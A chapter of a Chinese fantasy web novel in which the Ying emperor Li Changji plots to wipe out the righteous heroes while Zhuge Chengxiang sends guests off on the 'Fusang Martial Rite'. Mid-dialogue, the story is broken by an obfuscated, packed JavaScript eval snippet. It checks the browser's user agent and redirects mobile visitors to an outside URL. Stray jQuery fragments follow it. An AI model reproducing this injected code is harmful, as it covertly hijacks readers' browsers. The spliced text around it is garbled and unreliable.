风渚予下 作品

81. 天地剧变风云涌,孤身挡关挽狂澜

半柱香前,在烂柯云门外一座远处高峰上。


“父皇,儿臣遵照父皇旨意,已将一切都准备妥当,接下来就等父皇一声令下,咱们便可以将正道群侠全军覆没,杀它个干干净净片甲不存了!”


“戢儿,你做得很好,父皇很满意!但最后,父皇还是忍不住想要再问你一句,父皇这么做,在你心里真得就对父皇没有一点儿的不满和埋怨吗?”


“父皇还是不信任儿臣吗?那不妨便让儿臣为此战先锋为父皇的千秋霸业葬身铺道身先士卒吧,孩儿能为父皇霸业而死死得其所无悔无怨!”


“哦?当真如此吗?戟儿的死,你就真得……真得对父皇我毫无芥蒂吗?”


李云戢闻言,心痛不已,却仍假装淡定,轻冷蔑笑道:“父皇多虑了,李云戟不识抬举,不知父皇一片苦心,死不足惜,孩儿又怎会为他伤心难过呢。


孩儿只是忍不住替他惋惜遗憾罢了,想二皇兄堂堂沉沙府夜璧少将军如此英雄意气人物,正当为父皇拓土开疆建功立业之时,却固执己见愚昧不堪不死何为?”


“说得好,吾很欣赏,很满意!”


李长忌面露慈容,一脸慈穆和蔼,平易近人,缓缓笑道:“想来倘若戟儿也能拥有似戢儿你这般觉悟见地,那本皇岂非又多了一条坚强有力的左臂右膀。


可惜啊!


未想他竟然宁愿一死也不肯就范,对此父皇心中又怎能不感到痛心悲哀呢!


可为了得到能够真正保护身边所有人的力量,为了能够真正实现父皇一生所追求的霸业雄图,父皇也唯有强忍丧子悲痛戮子之恨,为我瀛洲疆土拓展出一片崭新天地啊!”


李云戢强抑悲伤,沉声道:“父皇的深谋远虑,孩儿都懂也能理解。所以,孩儿甘为父皇手中利剑刀锋,斩杀一切阻挡父皇及我瀛洲霸业之人!”


李长忌端起金樽美酒,朝李云戢招了招手,道:“来,今夜此役,咱们虽早已筹谋许久胜券在握,但面对诸葛丞香,哦,不,应该称呼她墨台孤竹才是!


今夜,面对墨台孤竹、顾秋声、司马颜渊等人,以及吾那位故友新出关不久,实力尚未显露,却必也定深不可测的爱徒剑终不鸣西陵梦残。


咱们这边虽然坐拥天时地利人和之后利,更有凡界十洲各方盟友之助,却也不得不小心谨慎步步为营。


所以,戢儿,此战,你既愿当仁不让充当这先锋大将,那你可千万得小心注意啦,切莫让父皇再失去你啊!”


说罢,李长忌将手上那樽酒递给李云戢,李云戢坦然接过笑道:“父皇放心,孩儿既领先锋便已抱着必死之决心。而且,就算孩儿真得也死了,父皇不是还有大哥可以为父皇孝敬侍奉吗?”


李长忌闻言,不由冷笑道:“戢儿什么时候也敢开起父皇的玩笑来了,你应该知道他摩诘画神谢辞卿那是何等样人。


纵使现在他仍是承欢在父皇膝下寄篱为家,谁又能预料将来他一旦想起过往恢复身份以后,父皇与他之间又将会演变成为一种怎样的关系呢?”


“可是,父皇,不管怎么说,您毕竟都是他的亲父啊!大哥他又怎么会……”李云戢道。


李长忌摆手阻止了李云戢继续说下去,似乎不愿在谢逢秋的事情上谈论更多,“别说了,他的问题要如何处理,父皇心中自有定夺。此刻,时候也不早了,你既已领先锋重任,那便尽速领军前往阵前备战吧!”


李云戢黯然垂首,只得俯首领命,“是,孩儿一切皆遵父皇之令,不敢违抗!孩儿这便带兵前往备战,静候父皇指令!”


痛彻转身,泪流满面,李云戢跨上一匹黑色骏马战骑,便怀着一腔悲愤壮烈之情催马狂奔而去。


李长忌举樽洒落美酒,看着李云戢狂啸离去,不知此举是意在为他壮行,还是已等不及要为他哀悼祭奠,“多少事,笑谈中?论江湖,翻覆中。平板荡,蹈汹涌。壮怀激烈,谁堪英雄。不如袖手,煮酒东流。春风已死,何恨春风。埋葬英雄,还作英雄!


戢儿,去吧,替父皇去战去杀为为父的雄图霸业奠基吧。


但你的那点儿小心思,可是瞒不过父皇双眼啊!戢儿你既然甘愿为父皇充当先锋死战沙场,父皇又怎会薄情寡义不替你处理好身后之事呢!”


瀛君李长忌话音方才落下,李云戢的背影方才远去,却见瀛君李长忌身旁又突然走出一个人来,只见那人一身颀长清峻桀骜不驯如将军夜照。


“云戟,吾之爱将,也是吾之爱子,你说,是吗?”李长忌面容突然显露一丝狰狞狡黠笑着道。


李云戟诺诺点头,道:“嗯!”


诡局,危局!


云门盛宴,扶桑武祭开启在即,筹谋偌久,各方谋算,谁将捭阖风云叱咤春秋。


“诸位,此宴为何而设,此会为何而聚,诸位为何而来,想必诸位心中都各自有数,我诸葛丞香也就不必多做解释了。”


云门大殿上,诸葛丞香气定神闲淡漠微笑缓缓道:“自古以来,群雄争霸不休,三界烽火不熄,天地满目狼藉疮痍,苍生饱受荼毒煎熬。


吾辈奉以正道侠义之名,愿举燎原天下之炬,誓为天下荡平板荡狼烟,祭赤子之血,燃万家灯火!


此心此愿,此行此誓,舍生忘死,诸君可愿?”


云河上。


三千宾客不约而同愤然起身,与诸葛丞香一同举起金樽,齐声高呼道:“吾辈奉以正道侠义之名,愿举燎原天下之炬,誓为天下荡平板荡狼烟,祭赤子之血,燃万家灯火!


此心此愿,此行此誓。舍生忘死,虽千万人,吾辈皆甘愿!”


浊酒饮罢,象征众人勠力同心共挽狂澜,诸葛丞香遂直接说道:“好,既然众人都已有此觉悟,那我便为诸位正式开启‘扶桑武祭’之行!”


说罢,但见诸葛丞香手捻秘诀,结成印式,将之灌注云河之中,竟使得云河之下洞天乍现,仿佛一座古老神秘的荒岛出现在云河图景之上。


“昔日,十日同天,炙烤天下,曦和命后羿射落九日,而后天地间便只留下最后一个太阳,这本是一件福泽天地的天大的好事。


但谁知道,随着九阳坠落,扶桑神树竟也随之枯萎。


据传,九阳被后羿射落之时,曦和心痛悲伤落泪,致使九阳之精与羲和之泪结合化为灵鸟,而此灵鸟后来被无一天帝所夺,以之锻造出了亘古至极寒彻之剑——极刑鸟的悲鸣。


此剑也就是后来天界‘蜃穷之谋’失败以后,‘天乩之乱’发生之时,天帝易君以之刺杀无一天帝,并将之高悬于九天之顶,仅只片刻便使得整个三界都险些陷入亘古冰封之危的那口亘古极寒之剑。


后来,三界正道群侠多方寻找苦思应对之策,终于想到了前往扶桑神树所在东方荒岛上寻求答案。


如今。


诸位应邀而至,我诸葛丞香代替三界众生便将此重任交托给诸位了,请诸位务必不负三界众生所托顺利带回‘扶桑神火’以应对将来三界未知浩劫。”


在场众人闻言,无不热血澎湃情绪激昂,皆表示愿为阻止天地浩劫而贡献一己之力,甚至牺牲性命也在所不惜。


“好,那现在便请诸位启程前往吧!此地既有我与顾秋声、轩辕不武和西陵梦残顾守护持,无论发生任何事,诸位都不必有任何担忧。


至于此行路上,有任何问题,便请诸位向这位不遇须惊镜阁邂君请教吧!”


诸葛丞香将手指向人群中的楼邂,楼邂却似乎感到有些茫然失措。


“怎么了?难道邂君有所不便想要推辞吗?”诸葛丞香笑道。


楼邂酌了口酒,笑道:“推辞?我楼邂就算会拒绝任何人,也绝不会拒绝城主啊!不过呢,城主想要让楼某为城主出力,不知道又能给我楼邂什么好处呢?”


“你想要好处,是吗?公子凌歌想必会很乐意的,不如你去找他讨要,如何?”诸葛丞香冷冷笑道。


楼邂听到诸葛丞香提起公子凌歌,像是突然害怕了似的急忙改口道


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345798|167894||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


:“啊!那就免了,我看我还是别去麻烦他了吧!既然城主有命,我楼邂遵命就是!”


“好,我就知道邂君胸怀天下绝不会这么小气的,是吧?”诸葛丞香笑了笑。


楼邂颔首道:“对,那是当然的!”


随后,诸葛丞香又转过头对谢逢秋道:“那么,太子殿下,你呢?不知道太子殿下准备作何打算?”


谢逢秋尚未明了个中究竟,不便妄做决定,但他隐约感觉到这场云门盛宴所将要做的事情必然意义非凡。


因此,虽然谢逢秋还有很多事尚不及处理,更不知楚千画究竟身在何处,但谢逢秋最终还是决定……


“说实话,我不知道城主你们这场云门盛宴究竟想要做什么,但我确信你们所做的事必是对天下苍生有所意义的。所以,我谢逢秋决定与你们一起取回神火阻止浩劫!”


听到谢逢秋答应,诸葛丞香心里暗自终于松了口气,但她还是想要向谢逢秋再一次确认,“太子殿下,你确定你愿意接受这个考验吗?我希望你所做的这个决定是有所准备的。


我不想看到将来你会因此而后悔,更不想因为你的后悔反而让我们今日之举铸成大错,你可知道吗?”


凄绝画意,谢辞卿!


虽然诸葛丞香没有明说,但谢逢秋还是隐约明白了什么,原来自己才是今夜此会真正的主角啊!


难怪诸葛丞香一定要让自己前来赴宴,还特地让断青崖随行保护,原来自己,抑或“他”才是诸葛丞香所邀请的真正的“贵客”啊!


“呵,呵呵,诸葛城主不必多虑,我谢逢秋心里有数,必不会辜负诸葛城主这一番好意一片盛情!”


诸葛丞香会意,默然一笑,随即便吩咐亡国歌女月笼纱开启云河,将众人送入云河内扶桑武祭之地。


“月笼纱,接下来,也该你表演了,可务必要让大家尽兴啊!”诸葛丞香道。


月笼纱轻轻一揖,掩笑道:“月笼纱谨遵城主之命,今夜必为众人献上此生最美一舞,必不会让大家趁兴而来败兴而去的!”


蓦然。


月笼纱将云袖一甩而出,使得整个云门大殿皆被笼罩其中,待那云袖纱幔再次掀去揭开之时,却见在场除了诸葛丞香、顾秋声、轩辕不武和西陵梦残,以及月笼纱五人之外再没一人留下。


“他们上路了,那接下来就是咱们的事了。”诸葛丞香道。


顾秋声道:“咱们的事,那便是绝不让他们有事,也断不能让此次盛宴所欲图谋之事……有事!”


轩辕不武笑道:“放心,有我轩辕不武在,谁也不敢放肆!”


西陵梦残冷冷道:“哦,诸位都怕有事,可我却倒是不以为然,倘若有人想要为我前来试剑,那我西陵梦残必将让他如愿!”


“好,不愧是我正道巨擘侠者,有诸位在此鼎力相助,我诸葛丞香便再无任何疑虑担忧了!”诸葛丞香缓缓抬手将力量灌注云河,“那现在就让咱们也开始吧!”


顾秋声等其余三人见状,亦同赞浩力注入云河。


而此时,断青崖等人领命固守大殿门外,以及三千云阶,面对着似滚滚洪流之势突然来袭之敌,亦不敢有任何懈怠轻忽举动,只谨遵诸葛丞香指令无论发生任何事,也绝不轻举妄动务必坚决死守不出。


等到大殿之内事情处理结束,里面之人自然会出面应对。


可此刻。


万军已掩杀而至,洪流怒海,呼啸阵前,就连这穹隆夜色也稍逊三分,直教今夜这场狂风暴雨愈发诡谲凄迷,仿佛一场叱咤海上的惊涛骇浪即将吞没一切!


然而。


值此暗云密布战云笼罩,正道群侠各负其责,分身乏术力有未逮,天地剧变,风云涌动,危难之际!


犹有一人,可孤身挡关力挽狂澜!


君不见古往今来荡荡邪魔之妖娆多娇,君不见浊世纷扰颠颠倒倒之地狱人间。然却又何其有幸,能可见证“佛之弥落坠无间,魔之弥勒降世间!”